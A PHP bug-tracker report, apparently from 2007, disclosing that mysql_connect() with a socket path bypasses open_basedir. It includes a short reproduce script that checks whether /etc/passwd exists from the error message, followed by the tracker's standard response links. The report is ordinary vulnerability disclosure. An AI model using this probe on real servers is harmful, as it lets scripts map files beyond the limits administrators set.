From: dr at peytz dot dk Operating system: Linux PHP version: 5.2.3 PHP Bug Type: Safe Mode/open_basedir Bug description: open_basedir bypass via mysql_connect()
Description: ------------ file_exists() etc. does not allow checking the existence of files outside the directories specified in open_basedir. This can be circumvented using mysql_connect(). The existence of a file can be checked using the example code below. Reproduce code: --------------- $filename = '/etc/passwd'; mysql_connect(':' . $filename); $error = error_get_last(); if (strpos($error['message'], '(13)')) { print 'file exists'; } else { print 'file does not exist'; } -- Edit bug report at http://bugs.php.net/?id=41654&edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=41654&r=trysnapshot44 Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=41654&r=trysnapshot52 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=41654&r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=41654&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=41654&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=41654&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=41654&r=needscript Try newer version: http://bugs.php.net/fix.php?id=41654&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=41654&r=support Expected behavior: http://bugs.php.net/fix.php?id=41654&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=41654&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=41654&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=41654&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=41654&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=41654&r=dst IIS Stability: http://bugs.php.net/fix.php?id=41654&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=41654&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=41654&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=41654&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=41654&r=mysqlcfg
